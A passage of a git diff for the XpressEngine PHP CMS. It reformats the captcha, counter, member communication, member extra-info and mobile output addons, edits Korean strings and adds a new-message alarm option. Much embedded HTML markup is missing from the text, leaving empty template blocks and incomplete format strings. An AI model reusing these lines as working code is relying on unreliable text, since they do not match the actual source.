ord($_data{$j}); + if($ch < 9 || $ch > 119) + { + continue; + } + $_data{$j} = chr($ch + rand(-8, 8)); + } + + $data .= $_data; + } + + return $data; + } + + function compareCaptcha() + { + if($_SESSION['captcha_authed']) + { + return true; + } + + if(strtoupper($_SESSION['captcha_keyword']) == strtoupper(Context::get('secret_text'))) + { + $_SESSION['captcha_authed'] = true; + return true; + } + + unset($_SESSION['captcha_authed']); + + return false; + } + + function before_module_init_captchaCompare() + { + if(!$this->compareCaptcha()) + { + return false; + } + + header("Content-Type: text/xml; charset=UTF-8"); + header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); + header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); + header("Cache-Control: no-store, no-cache, must-revalidate"); + header("Cache-Control: post-check=0, pre-check=0", false); + header("Pragma: no-cache"); + print("\r\n0\r\nsuccess\r\n"); + + Context::close(); + exit(); + } + + function inlineDisplay() + { + unset($_SESSION['captcha_authed']); + $this->createKeyword(); + + $swfURL = getUrl() . 'addons/captcha/swf/play.swf'; + Context::unloadFile('./addons/captcha/captcha.min.js'); + Context::loadFile(array('./addons/captcha/inline_captcha.js', 'body')); + + global $lang; + + $tags = << - - - - - - - + + + + + + +
EOD; - $tags = sprintf($tags, getUrl('captcha_action','captchaImage', 'rand', mt_rand(10000, 99999)) - , $swfURL - , $swfURL - , $lang->reload - , $lang->play); - return $tags; - } + $tags = sprintf($tags, getUrl('captcha_action', 'captchaImage', 'rand', mt_rand(10000, 99999)) + , $swfURL + , $swfURL + , $lang->reload + , $lang->play); + return $tags; } - $GLOBALS['__AddonCaptcha__'] = new AddonCaptcha; - $GLOBALS['__AddonCaptcha__']->setInfo($addon_info); - Context::set('oCaptcha', &$GLOBALS['__AddonCaptcha__']); } + $GLOBALS['__AddonCaptcha__'] = new AddonCaptcha; + $GLOBALS['__AddonCaptcha__']->setInfo($addon_info); + Context::set('oCaptcha', $GLOBALS['__AddonCaptcha__']); +} - $oAddonCaptcha = &$GLOBALS['__AddonCaptcha__']; +$oAddonCaptcha = &$GLOBALS['__AddonCaptcha__']; - if(method_exists($oAddonCaptcha, $called_position)) +if(method_exists($oAddonCaptcha, $called_position)) +{ + if(!call_user_func_array(array(&$oAddonCaptcha, $called_position), array(&$this))) { - if(!call_user_func_array(array(&$oAddonCaptcha, $called_position), array(&$this))) - { - return false; - } + return false; } +} - $addon_act = Context::get('captcha_action'); - if($addon_act && method_exists($oAddonCaptcha, $called_position.'_'.$addon_act)) +$addon_act = Context::get('captcha_action'); +if($addon_act && method_exists($oAddonCaptcha, $called_position . '_' . $addon_act)) +{ + if(!call_user_func_array(array(&$oAddonCaptcha, $called_position . '_' . $addon_act), array(&$this))) { - if(!call_user_func_array(array(&$oAddonCaptcha, $called_position.'_'.$addon_act), array(&$this))) - { - return false; - } + return false; } - -?> +} +/* End of file captcha.addon.php */ +/* Location: ./addons/captcha/captcha.addon.php */ diff --git a/addons/captcha/conf/info.xml b/addons/captcha/conf/info.xml index 904baabf2..bc8bd86ba 100644 --- a/addons/captcha/conf/info.xml +++ b/addons/captcha/conf/info.xml @@ -89,7 +89,7 @@ How it works How it works Sử dụng - "1번만 동작"을 선택하시면 1번만 동작후 상태를 저장해서 다음부터 물어보지 않고 그렇지 않으면 매번 물어보게 됩니다 + "1번만 동작"을 선택하면 1번만 동작후 상태를 저장해서 다음부터 물어보지 않고 그렇지 않으면 매번 물어보게 됩니다 "一次"就是每个IP只出现一次验证。 「1回だけ表示」を選択すると、最初だけ動作した後、その情報を記憶して次回からはCaptchaを見せないようにします。また、もう一つのオプションは毎回Captchaを表示します。 選擇"單次",下次不會再顯示;選擇"每次"則會一直顯示。 @@ -123,9 +123,9 @@ applying to an action finding account applying to an action finding account Khi lấy lại mật khẩu - 적용으로 하시면 비밀번호 찾기 기능에도 적용되어 악의적인 봇(또는 프로그램)에 의한 메일 발송을 막을 수 있습니다. + 적용으로 하면 비밀번호 찾기 기능에도 적용되어 악의적인 봇(또는 프로그램)에 의한 메일 발송을 막을 수 있습니다. 启用此项功能可以有效地拦截以查找密码名义发送的垃圾邮件。 - 적용으로 하시면 비밀번호찾기 기능에도 적용되어 악의적인 봇(또는 프로그램)에 의한 메일 발송을 막을 수 있습니다. + 적용으로 하면 비밀번호찾기 기능에도 적용되어 악의적인 봇(또는 프로그램)에 의한 메일 발송을 막을 수 있습니다. 開啟功能後在忘記密碼時會顯示驗證碼。 If you set this option as apply, CAPTCHA will work for finding account action, too. If you set this option as apply, CAPTCHA will work for finding account action, too. @@ -157,9 +157,9 @@ apply to an action resending authmail apply to an action resending authmail Khi lấy lại mã kích hoạt - 적용으로 하시면 인증 메일 재발송 기능에도 적용되어 악의적인 봇(또는 프로그램)에 의한 메일 발송을 막을 수 있습니다. + 적용으로 하면 인증 메일 재발송 기능에도 적용되어 악의적인 봇(또는 프로그램)에 의한 메일 발송을 막을 수 있습니다. 启用此项功能可以有效地拦截以重新发送认证邮件名义发送的垃圾邮件。 - 적용으로 하시면 인증 메일 재발송 기능에도 적용되어 악의적인 봇(또는 프로그램)에 의한 메일 발송을 막을 수 있습니다. + 적용으로 하면 인증 메일 재발송 기능에도 적용되어 악의적인 봇(또는 프로그램)에 의한 메일 발송을 막을 수 있습니다. 開啟功能後在重寄認證信時會顯示驗證碼。 If you set this option as apply, CAPTCHA will work for resending authmail action, too. If you set this option as apply, CAPTCHA will work for resending authmail action, too. @@ -191,9 +191,9 @@ Apply to member signup Apply to member signup Apply to member signup - 적용으로 하시면 회원가입 기능에도 적용되어 악의적인 봇(또는 프로그램)의 회원가입을 막을 수 있습니다. + 적용으로 하면 회원가입 기능에도 적용되어 악의적인 봇(또는 프로그램)의 회원가입을 막을 수 있습니다. 启用此项功能可以有效地拦截自动注册软件的施虐。 - 적용으로 하시면 회원가입 기능에도 적용되어 악의적인 봇(또는 프로그램)의 회원가입을 막을 수 있습니다. + 적용으로 하면 회원가입 기능에도 적용되어 악의적인 봇(또는 프로그램)의 회원가입을 막을 수 있습니다. 開啟功能後在註冊時會顯示驗證碼。 If you set this option as apply, CAPTCHA will work for signup action, too. If you set this option as apply, CAPTCHA will work for signup action, too. diff --git a/addons/captcha/lang/lang.xml b/addons/captcha/lang/lang.xml index df7cdae22..a1f32c58d 100644 --- a/addons/captcha/lang/lang.xml +++ b/addons/captcha/lang/lang.xml @@ -22,7 +22,7 @@ - + diff --git a/addons/counter/conf/info.xml b/addons/counter/conf/info.xml index c3ea6dccb..afcd04ec0 100644 --- a/addons/counter/conf/info.xml +++ b/addons/counter/conf/info.xml @@ -10,8 +10,8 @@ Аддон счетчика 網站訪問統計 - XE의 기본 카운터 모듈을 이용하여 접속 정보를 기록합니다. - 이 애드온을 켜셔야 접속 정보 수집이 됩니다. + XE의 기본 카운터를 이용하여 접속 정보를 기록합니다. + 이 애드온을 켜야 접속 정보 수집이 됩니다. XEのアクセスカウンターモジュールで接続(アクセス)情報を記録します。 diff --git a/addons/counter/counter.addon.php b/addons/counter/counter.addon.php index 3d6c8115e..aa4952d6d 100644 --- a/addons/counter/counter.addon.php +++ b/addons/counter/counter.addon.php @@ -1,14 +1,18 @@ counterExecute(); } -?> +/* End of file counter.addon.php */ +/* Location: ./addons/counter/counter.addon.php */ diff --git a/addons/member_communication/conf/info.xml b/addons/member_communication/conf/info.xml index 8fc13b5a7..6b45e674e 100644 --- a/addons/member_communication/conf/info.xml +++ b/addons/member_communication/conf/info.xml @@ -10,8 +10,8 @@ Общение 交流 - 커뮤니케이션 모듈의 기능을 활성화 시켜 쪽지나 친구기능을 사용할 수 있도록 해줍니다. - 쪽지, 친구기능등을 사용하기 위해서는 이 애드온을 사용으로 해주시면 됩니다. + 커뮤니케이션 기능을 활성화 시켜 쪽지나 친구기능을 사용할 수 있도록 해줍니다. + 쪽지, 친구기능등을 사용하기 위해서는 이 애드온을 사용으로 설정하면 됩니다. メッセージ・友達機能を使うにはこのアドオンを「使用」にして下さい。 @@ -28,12 +28,12 @@ Hãy kích hoạt nếu bạn muốn sử dụng chức năng này. - 커뮤니케이션 모듈의 기능을 활성화 시켜 쪽지나 친구기능을 사용할 수 있도록 해줍니다. - 쪽지, 친구기능등을 사용하기 위해서는 이 애드온을 사용으로 해주시면 됩니다. + 커뮤니케이션 기능을 활성화 시켜 쪽지나 친구기능을 사용할 수 있도록 해줍니다. + 쪽지, 친구기능등을 사용하기 위해서는 이 애드온을 사용으로 설정하면 됩니다. - 커뮤니케이션 모듈의 기능을 활성화 시켜 쪽지나 친구기능을 사용할 수 있도록 해줍니다. - 쪽지, 친구기능등을 사용하기 위해서는 이 애드온을 사용으로 해주시면 됩니다. + 커뮤니케이션 기능을 활성화 시켜 쪽지나 친구기능을 사용할 수 있도록 해줍니다. + 쪽지, 친구기능등을 사용하기 위해서는 이 애드온을 사용으로 설정하면 됩니다. Активизирует модуль Общение, позволяет использование сообщений между друзьями. @@ -55,4 +55,40 @@ NHN NHN + + + 알람기능 사용 + Using alarm + Using alarm + Using alarm + Using alarm + Using alarm + Using alarm + 새로운 쪽지가 왔을때 팝업으로 알립니다. + Pop-up alram when new message received. + Pop-up alram when new message received. + Pop-up alram when new message received. + Pop-up alram when new message received. + Pop-up alram when new message received. + Pop-up alram when new message received. + + 사용함 + Using + Using + Using + Using + Using + Using + + + 사용하지 않음 + Not using + Not using + Not using + Not using + Not using + Not using + + + diff --git a/addons/member_communication/member_communication.addon.php b/addons/member_communication/member_communication.addon.php index 89ed0fc6d..c2ce562b7 100644 --- a/addons/member_communication/member_communication.addon.php +++ b/addons/member_communication/member_communication.addon.php @@ -1,5 +1,7 @@ module != 'member') { + * */ +if($called_position == 'before_module_init' && $this->module != 'member') +{ // Load a language file from the communication module Context::loadLang('./modules/communication/lang'); // Add menus on the member login information - $oMemberController = &getController('member'); + $oMemberController = getController('member'); $oMemberController->addMemberMenu('dispCommunicationFriend', 'cmd_view_friend'); $oMemberController->addMemberMenu('dispCommunicationMessages', 'cmd_view_message_box'); // Pop-up to display messages if a flag on new message is set - $flag_path = './files/member_extra_info/new_message_flags/'.getNumberingPath($logged_info->member_srl); - $flag_file = $flag_path.$logged_info->member_srl; + $flag_path = './files/member_extra_info/new_message_flags/' . getNumberingPath($logged_info->member_srl); + $flag_file = $flag_path . $logged_info->member_srl; - if(file_exists($flag_file)) { + if(file_exists($flag_file) && $addon_info->use_alarm != 'N') + { $new_message_count = trim(FileHandler::readFile($flag_file)); FileHandler::removeFile($flag_file); Context::loadLang('./addons/member_communication/lang'); Context::loadFile(array('./addons/member_communication/tpl/member_communication.js'), true); - $text = preg_replace('@\r?\n@', '\\n', addslashes(Context::getLang('alert_new_message_arrived'))); - $link = Context::getRequestUri().'?module=communication&act=dispCommunicationNewMessage'; + $text = preg_replace('@\r?\n@', '\\n', addslashes(Context::getLang('alert_new_message_arrived'))); + $link = Context::getRequestUri() . '?module=communication&act=dispCommunicationNewMessage'; $script = ""; Context::addHtmlFooter($script); } -} elseif($called_position == 'before_module_proc' && $this->act == 'getMemberMenu') { - $oMemberController = &getController('member'); +} +elseif($called_position == 'before_module_proc' && $this->act == 'getMemberMenu') +{ + $oMemberController = getController('member'); $member_srl = Context::get('target_srl'); $mid = Context::get('cur_mid'); // Creates communication model object - $oCommunicationModel = &getModel('communication'); + $oCommunicationModel = getModel('communication'); // Add a feature to display own message box. - if($logged_info->member_srl == $member_srl) { + if($logged_info->member_srl == $member_srl) + { // Add your own viewing Note Template - $oMemberController->addMemberPopupMenu(getUrl('','mid',$mid,'act','dispCommunicationMessages'), 'cmd_view_message_box', '', 'self'); + $oMemberController->addMemberPopupMenu(getUrl('', 'mid', $mid, 'act', 'dispCommunicationMessages'), 'cmd_view_message_box', '', 'self'); // Display a list of friends - $oMemberController->addMemberPopupMenu(getUrl('','mid',$mid,'act','dispCommunicationFriend'), 'cmd_view_friend', '', 'self'); - // If not, Add menus to send message and to add friends - } else { + $oMemberController->addMemberPopupMenu(getUrl('', 'mid', $mid, 'act', 'dispCommunicationFriend'), 'cmd_view_friend', '', 'self'); + // If not, Add menus to send message and to add friends + } + else + { // Get member information - $oMemberModel = &getModel('member'); + $oMemberModel = getModel('member'); $target_member_info = $oMemberModel->getMemberInfoByMemberSrl($member_srl); - if(!$target_member_info->member_srl) return; + if(!$target_member_info->member_srl) + { + return; + } + // Get logged-in user information $logged_info = Context::get('logged_info'); // Add a menu for sending message - if( $logged_info->is_admin == 'Y' || $target_member_info->allow_message =='Y' || ($target_member_info->allow_message == 'F' && $oCommunicationModel->isFriend($member_srl))) - $oMemberController->addMemberPopupMenu(getUrl('','module','communication','act','dispCommunicationSendMessage','receiver_srl',$member_srl), 'cmd_send_message', '', 'popup'); + if($logged_info->is_admin == 'Y' || $target_member_info->allow_message == 'Y' || ($target_member_info->allow_message == 'F' && $oCommunicationModel->isFriend($member_srl))) + $oMemberController->addMemberPopupMenu(getUrl('', 'module', 'communication', 'act', 'dispCommunicationSendMessage', 'receiver_srl', $member_srl), 'cmd_send_message', '', 'popup'); // Add a menu for listing friends (if a friend is new) if(!$oCommunicationModel->isAddedFriend($member_srl)) - $oMemberController->addMemberPopupMenu(getUrl('','module','communication','act','dispCommunicationAddFriend','target_srl',$member_srl), 'cmd_add_friend', '', 'popup'); + $oMemberController->addMemberPopupMenu(getUrl('', 'module', 'communication', 'act', 'dispCommunicationAddFriend', 'target_srl', $member_srl), 'cmd_add_friend', '', 'popup'); } } -?> +/* End of file member_communication.addon.php */ +/* Location: ./addons/member_communication/member_communication.addon.php */ diff --git a/addons/member_extra_info/member_extra_info.addon.php b/addons/member_extra_info/member_extra_info.addon.php index 925675453..20dca76fe 100644 --- a/addons/member_extra_info/member_extra_info.addon.php +++ b/addons/member_extra_info/member_extra_info.addon.php @@ -1,5 +1,7 @@ .... * Check if ther is image name and image mark. Then change it. - **/ - + */ /** * Just before displaying, change image name/ image mark - **/ -if($called_position != "before_display_content" || Context::get('act')=='dispPageAdminContentModify') return; + */ +if($called_position != "before_display_content" || Context::get('act') == 'dispPageAdminContentModify') +{ + return; +} // Include a file having functions to replace member image name/mark require_once('./addons/member_extra_info/member_extra_info.lib.php'); // 1. Find a part
content
in the output document, change it to image name/mark by using MemberController::transImageName() $temp_output = preg_replace_callback('!<(div|span|a)([^\>]*)member_([0-9]+)([^\>]*)>(.*?)\<\/(div|span|a)\>!is', 'memberTransImageName', $output); -if($temp_output) $output = $temp_output; +if($temp_output) +{ + $output = $temp_output; +} unset($temp_output); -?> + +/* End of file member_extra_info.addon.php */ +/* Location: ./addons/member_extra_info/member_extra_info.addon.php */ diff --git a/addons/member_extra_info/member_extra_info.lib.php b/addons/member_extra_info/member_extra_info.lib.php index 8b4e05c3d..4a288e328 100644 --- a/addons/member_extra_info/member_extra_info.lib.php +++ b/addons/member_extra_info/member_extra_info.lib.php @@ -1,49 +1,86 @@ cached) { - $GLOBALS['_transImageNameList'][$member_srl]->cached = true; - $image_name_file = sprintf('files/member_extra_info/image_name/%s%d.gif', getNumberingPath($member_srl), $member_srl); - $image_mark_file = sprintf('files/member_extra_info/image_mark/%s%d.gif', getNumberingPath($member_srl), $member_srl); - if(file_exists($image_name_file)) $GLOBALS['_transImageNameList'][$member_srl]->image_name_file = $image_name_file; - else $image_name_file = ''; - if(file_exists($image_mark_file)) $GLOBALS['_transImageNameList'][$member_srl]->image_mark_file = $image_mark_file; - else $image_mark_file = ''; + $oMemberModel = getModel('member'); + $nick_name = $matches[5]; - $site_module_info = Context::get('site_module_info'); - $group_image = $oMemberModel->getGroupImageMark($member_srl,$site_module_info->site_srl); - $GLOBALS['_transImageNameList'][$member_srl]->group_image = $group_image; - } else { - $group_image = $GLOBALS['_transImageNameList'][$member_srl]->group_image; - $image_name_file = $GLOBALS['_transImageNameList'][$member_srl]->image_name_file; - $image_mark_file = $GLOBALS['_transImageNameList'][$member_srl]->image_mark_file; - } - // If image name and mark doesn't exist, set the original information - if(!$image_name_file && !$image_mark_file && !$group_image) return $matches[0]; + // If pre-defined data in the global variablesm return it + if(!$GLOBALS['_transImageNameList'][$member_srl]->cached) + { + $GLOBALS['_transImageNameList'][$member_srl]->cached = true; + $image_name_file = sprintf('files/member_extra_info/image_name/%s%d.gif', getNumberingPath($member_srl), $member_srl); + $image_mark_file = sprintf('files/member_extra_info/image_mark/%s%d.gif', getNumberingPath($member_srl), $member_srl); + if(file_exists($image_name_file)) + { + $GLOBALS['_transImageNameList'][$member_srl]->image_name_file = $image_name_file; + } + else + { + $image_name_file = ''; + } + if(file_exists($image_mark_file)) + { + $GLOBALS['_transImageNameList'][$member_srl]->image_mark_file = $image_mark_file; + } + else + { + $image_mark_file = ''; + } - // check member_config - - $config = $oMemberModel->getMemberConfig(); + $site_module_info = Context::get('site_module_info'); + $group_image = $oMemberModel->getGroupImageMark($member_srl, $site_module_info->site_srl); + $GLOBALS['_transImageNameList'][$member_srl]->group_image = $group_image; + } + else + { + $group_image = $GLOBALS['_transImageNameList'][$member_srl]->group_image; + $image_name_file = $GLOBALS['_transImageNameList'][$member_srl]->image_name_file; + $image_mark_file = $GLOBALS['_transImageNameList'][$member_srl]->image_mark_file; + } + // If image name and mark doesn't exist, set the original information + if(!$image_name_file && !$image_mark_file && !$group_image) + { + return $matches[0]; + } - if($config->image_name == 'Y' && $image_name_file) $nick_name = sprintf('id: %s', Context::getRequestUri(),$image_name_file, strip_tags($nick_name), strip_tags($nick_name)); - if($config->image_mark == 'Y' && $image_mark_file) $nick_name = sprintf('id: %s%s', Context::getRequestUri(),$image_mark_file, strip_tags($nick_name), strip_tags($nick_name), $nick_name); + // check member_config - if($group_image) $nick_name = sprintf('%s%s', $group_image->src, $group_image->title, $group_image->description, $nick_name); + $config = $oMemberModel->getMemberConfig(); + + if($config->image_name == 'Y' && $image_name_file) + { + $nick_name = sprintf('id: %s', Context::getRequestUri(), $image_name_file, strip_tags($nick_name), strip_tags($nick_name)); + } + if($config->image_mark == 'Y' && $image_mark_file) + { + $nick_name = sprintf('id: %s%s', Context::getRequestUri(), $image_mark_file, strip_tags($nick_name), strip_tags($nick_name), $nick_name); + } + + if($group_image) + { + $nick_name = sprintf('%s%s', $group_image->src, $group_image->title, $group_image->description, $nick_name); + } - $orig_text = preg_replace('/'.preg_quote($matches[5],'/').'<\/'.$matches[6].'>$/', '', $matches[0]); - return $orig_text.$nick_name.''; - } -?> + $orig_text = preg_replace('/' . preg_quote($matches[5], '/') . '<\/' . $matches[6] . '>$/', '', $matches[0]); + return $orig_text . $nick_name . ''; +} + +/* End of file member_extra_info.lib.php */ +/* Location: ./addons/member_extra_info/member_extra_info.lib.php */ diff --git a/addons/mobile/classes/hdml.class.php b/addons/mobile/classes/hdml.class.php index fbad40d06..a51eb79bc 100644 --- a/addons/mobile/classes/hdml.class.php +++ b/addons/mobile/classes/hdml.class.php @@ -1,103 +1,124 @@ charset); - header("Cache-Control: no-store, no-cache, must-revalidate"); - header("Cache-Control: post-check=0, pre-check=0", false); - header("Pragma: no-cache"); + /** + * @brief hdml header output + **/ + function printHeader() + { + header("Content-Type:text/x-hdml; charset=".$this->charset); + header("Cache-Control: no-store, no-cache, must-revalidate"); + header("Cache-Control: post-check=0, pre-check=0", false); + header("Pragma: no-cache"); - print ''; - print "\n"; - print $this->hasChilds()?'':''; - print "\n"; + print ''; + print "\n"; + print $this->hasChilds()?'':''; + print "\n"; - if($this->upperUrl) { - $url = $this->upperUrl; - printf('%s', $url->url, $url->text, "\n"); - } - } + if($this->upperUrl) + { + $url = $this->upperUrl; + printf('%s', $url->url, $url->text, "\n"); + } + } - /** - * @brief Output title - **/ - function printTitle() { - if($this->totalPage > $this->mobilePage) $titlePageStr = sprintf("(%d/%d)",$this->mobilePage, $this->totalPage); - printf('<%s%s>%s', $this->title,$titlePageStr,"\n"); - } + /** + * @brief Output title + **/ + function printTitle() + { + if($this->totalPage > $this->mobilePage) $titlePageStr = sprintf("(%d/%d)",$this->mobilePage, $this->totalPage); + printf('<%s%s>%s', $this->title,$titlePageStr,"\n"); + } - /** - * @brief Output information - * hasChilds() if there is a list of content types, otherwise output - **/ - function printContent() { - if($this->hasChilds()) { - foreach($this->getChilds() as $key => $val) { - if(!$val['link']) continue; - printf('%s%s',Context::getLang('cmd_select'), $val['href'], $val['text'], "\n"); - } - } else { - printf('%s
%s', $this->getContent(),"\n"); - } - } + /** + * @brief Output information + * hasChilds() if there is a list of content types, otherwise output + **/ + function printContent() + { + if($this->hasChilds()) + { + foreach($this->getChilds() as $key => $val) + { + if(!$val['link']) continue; + printf('%s%s',Context::getLang('cmd_select'), $val['href'], $val['text'], "\n"); + } + } + else + { + printf('%s
%s', $this->getContent(),"\n"); + } + } - /** - * @brief Button to output - **/ - function printBtn() { - // Menu Types - if($this->hasChilds()) { - if($this->nextUrl) { - $url = $this->nextUrl; - printf('%s%s', $url->text, $url->url, $url->text, "\n"); - } - if($this->prevUrl) { - $url = $this->prevUrl; - printf('%s%s', $url->text, $url->url, $url->text, "\n"); - } - if($this->homeUrl) { - $url = $this->homeUrl; - printf('%s%s', $url->text, $url->url, $url->text, "\n"); - } - // Content Types - } else { - if($this->nextUrl) { - $url = $this->nextUrl; - printf('%s', $url->text, $url->url, $url->text); - } - if($this->prevUrl) { - $url = $this->prevUrl; - printf('%s', $url->text, $url->url, $url->text); - } - if($this->homeUrl) { - $url = $this->homeUrl; - printf('%s', $url->text, $url->url, $url->text); - } - } - } + /** + * @brief Button to output + **/ + function printBtn() + { + // Menu Types + if($this->hasChilds()) + { + if($this->nextUrl) + { + $url = $this->nextUrl; + printf('%s%s', $url->text, $url->url, $url->text, "\n"); + } + if($this->prevUrl) + { + $url = $this->prevUrl; + printf('%s%s', $url->text, $url->url, $url->text, "\n"); + } + if($this->homeUrl) + { + $url = $this->homeUrl; + printf('%s%s', $url->text, $url->url, $url->text, "\n"); + } + // Content Types + } + else + { + if($this->nextUrl) + { + $url = $this->nextUrl; + printf('%s', $url->text, $url->url, $url->text); + } + if($this->prevUrl) + { + $url = $this->prevUrl; + printf('%s', $url->text, $url->url, $url->text); + } + if($this->homeUrl) + { + $url = $this->homeUrl; + printf('%s', $url->text, $url->url, $url->text); + } + } + } - /** - * @brief Footer information output - **/ - function printFooter() { - print $this->hasChilds()?'
':'
'; - print "\n"; - print("
"); - } + /** + * @brief Footer information output + **/ + function printFooter() + { + print $this->hasChilds()?'':''; + print "\n"; + print(""); + } +} - } -?> +/* End of file hdml.class.php */ +/* Location: ./addons/mobile/classes/hdml.class.php */ diff --git a/addons/mobile/classes/mhtml.class.php b/addons/mobile/classes/mhtml.class.php index a03ffb20b..8a1074f58 100644 --- a/addons/mobile/classes/mhtml.class.php +++ b/addons/mobile/classes/mhtml.class.php @@ -1,80 +1,98 @@ \n"); + if($this->totalPage > $this->mobilePage) $titlePageStr = sprintf("(%d/%d)",$this->mobilePage, $this->totalPage); + printf("%s%s\n", htmlspecialchars($this->title),htmlspecialchars($titlePageStr)); + } + // Output title + function printTitle() + { + if($this->totalPage > $this->mobilePage) $titlePageStr = sprintf("(%d/%d)",$this->mobilePage, $this->totalPage); + printf('<%s%s>
%s', htmlspecialchars($this->title),htmlspecialchars($titlePageStr),"\n"); + } - /** - * @brief hdml header output - **/ - function printHeader() { - print("\n"); - if($this->totalPage > $this->mobilePage) $titlePageStr = sprintf("(%d/%d)",$this->mobilePage, $this->totalPage); - printf("%s%s\n", htmlspecialchars($this->title),htmlspecialchars($titlePageStr)); - } - // Output title - function printTitle() { - if($this->totalPage > $this->mobilePage) $titlePageStr = sprintf("(%d/%d)",$this->mobilePage, $this->totalPage); - printf('<%s%s>
%s', htmlspecialchars($this->title),htmlspecialchars($titlePageStr),"\n"); - } + /** + * @brief Output information + * hasChilds() if there is a list of content types, otherwise output + **/ + function printContent() + { + if($this->hasChilds()) + { + foreach($this->getChilds() as $key => $val) + { + if(!$val['link']) continue; + printf('%s
%s', $val['href'], $this->getNo(), $val['text'], "\n"); + if($val['extra']) printf("
%s\n",str_replace('
','
',$val['extra'])); + } + } + else + { + print(str_replace('
','
',$this->getContent())."\n"); + } + print "

"; + } - /** - * @brief Output information - * hasChilds() if there is a list of content types, otherwise output - **/ - function printContent() { - if($this->hasChilds()) { - foreach($this->getChilds() as $key => $val) { - if(!$val['link']) continue; - printf('%s
%s', $val['href'], $this->getNo(), $val['text'], "\n"); - if($val['extra']) printf("
%s\n",str_replace('
','
',$val['extra'])); - } - } else { - print(str_replace('
','
',$this->getContent())."\n"); - } - print "

"; - } - - /** - * @brief Button to output - **/ - function printBtn() { - if($this->nextUrl) { - $url = $this->nextUrl; - printf('%s
%s', $url->url, $url->text, "\n"); - } - if($this->prevUrl) { - $url = $this->prevUrl; - printf('%s
%s', $url->url, $url->text, "\n"); - } - // Select Language - if(!parent::isLangChange()){ - $url = getUrl('','lcm','1','sel_lang',Context::getLangType(),'return_uri',Context::get('current_url')); - printf('%s
%s', $url, 'Language : '.Context::getLang('select_lang'), "\n"); - } - else { - printf('%s
%s', Context::get('return_uri'), Context::getLang('lang_return'), "\n"); - } - if($this->upperUrl) { - $url = $this->upperUrl; - printf('%s', $url->url, $url->text, "\n"); - } - if($this->homeUrl) { - $url = $this->homeUrl; - printf('%s
%s', $url->text, $url->url, $url->text, "\n"); - } - } - // Footer information output - function printFooter() { - print("\n"); - } - } -?> + /** + * @brief Button to output + **/ + function printBtn() + { + if($this->nextUrl) + { + $url = $this->nextUrl; + printf('%s
%s', $url->url, $url->text, "\n"); + } + if($this->prevUrl) + { + $url = $this->prevUrl; + printf('%s
%s', $url->url, $url->text, "\n"); + } + // Select Language + if(!parent::isLangChange()) + { + $url = getUrl('','lcm','1','sel_lang',Context::getLangType(),'return_uri',Context::get('current_url')); + printf('%s
%s', $url, 'Language : '.Context::getLang('select_lang'), "\n"); + } + else + { + printf('%s
%s', Context::get('return_uri'), Context::getLang('lang_return'), "\n"); + } + if($this->upperUrl) + { + $url = $this->upperUrl; + printf('%s', $url->url, $url->text, "\n"); + } + if($this->homeUrl) + { + $url = $this->homeUrl; + printf('%s
%s', $url->text, $url->url, $url->text, "\n"); + } + } + // Footer information output + function printFooter() + { + print("\n"); + } +} +/* End of file mhtml.class.php */ +/* Location: ./addons/mobile/classes/mhtml.class.php */ diff --git a/addons/mobile/classes/mobile.class.php b/addons/mobile/classes/mobile.class.php index bd460da87..2592b4681 100644 --- a/addons/mobile/classes/mobile.class.php +++ b/addons/mobile/classes/mobile.class.php @@ -1,565 +1,632 @@ lang = FileHandler::readFile('./files/cache/addons/mobile/setLangType/personal_settings/'.md5(trim($_SERVER['HTTP_USER_AGENT']).trim($_SERVER['HTTP_PHONE_NUMBER']).trim($_SERVER['HTTP_HTTP_PHONE_NUMBER'])).'.php'); - if($this->lang) { - $lang_supported = Context::get('lang_supported'); - $this->lang = str_replace(array(''),array('',''),$this->lang); - if(isset($lang_supported[$this->lang])) Context::setLangType($this->lang); - } - Context::loadLang(_XE_PATH_.'addons/mobile/lang'); - - $instance = new wap(); - - $mobilePage = (int)Context::get('mpage'); - if(!$mobilePage) $mobilePage = 1; - - $instance->setMobilePage($mobilePage); - - } - - return $instance; - } - - /** - * @brief constructor - **/ - function mobileXE() { - // Check navigation mode - if(Context::get('nm')) { - $this->navigationMode = 1; - $this->cmid = (int)Context::get('cmid'); - } - - if(Context::get('lcm')) { - $this->languageMode = 1; - $this->lang = Context::get('sel_lang'); - } - } - - /** - * @brief Check navigation mode - * navigationMode settings and modules of information must be menu_srl return to navigation mode = true - **/ - function isNavigationMode() { - return ($this->navigationMode && $this->module_info->menu_srl)?true:false; - } - - /** - * @brief Check langchange mode - * true return should be set languageMode - **/ - function isLangChange() { - if($this->languageMode) return true; - else return false; - } - - /** - * @brief Language settings - * Cookies Since you set your phone to store language-specific file, file creation - **/ - function setLangType() { - $lang_supported = Context::get('lang_supported'); - // Make sure that the language variables and parameters are valid - if($this->lang && isset($lang_supported[$this->lang])) { - $langbuff = FileHandler::readFile('./files/cache/addons/mobile/setLangType/personal_settings/'.md5(trim($_SERVER['HTTP_USER_AGENT']).trim($_SERVER['HTTP_PHONE_NUMBER']).trim($_SERVER['HTTP_HTTP_PHONE_NUMBER'])).'.php'); - if($langbuff) FileHandler::removeFile('./files/cache/addons/mobile/setLangType/personal_settings/'.md5(trim($_SERVER['HTTP_USER_AGENT']).trim($_SERVER['HTTP_PHONE_NUMBER']).trim($_SERVER['HTTP_HTTP_PHONE_NUMBER'])).'.php'); - $langbuff = 'lang.'**/ ?>'; - FileHandler::writeFile('./files/cache/addons/mobile/setLangType/personal_settings/'.md5(trim($_SERVER['HTTP_USER_AGENT']).trim($_SERVER['HTTP_PHONE_NUMBER']).trim($_SERVER['HTTP_HTTP_PHONE_NUMBER'])).'.php',$langbuff); - } - } - - /** - * @brief Information currently requested module settings - **/ - function setModuleInfo(&$module_info) { - if($this->module_info) return; - $this->module_info = $module_info; - } - - /** - * @brief Set the module instance is currently running - **/ - function setModuleInstance(&$oModule) { - if($this->oModule) return; - // Save instance - $this->oModule = $oModule; - // Of the current module if there is a menu by menu - $menu_cache_file = sprintf(_XE_PATH_.'files/cache/menu/%d.php', $this->module_info->menu_srl); - if(!file_exists($menu_cache_file)) return; - - include $menu_cache_file; - // One-dimensional arrangement of menu changes - $this->getListedItems($menu->list, $listed_items, $node_list); - - $this->listed_items = $listed_items; - $this->node_list = $node_list; - $this->menu = $menu->list; - - $k = array_keys($node_list); - $v = array_values($node_list); - $this->index_mid = $k[0]; - // The depth of the current menu, the top button to specify if one or more - $cur_menu_item = $listed_items[$node_list[$this->module_info->mid]]; - if($cur_menu_item['parent_srl']) { - $parent_srl = $cur_menu_item['parent_srl']; - if($parent_srl && $listed_items[$parent_srl]) { - $parent_item = 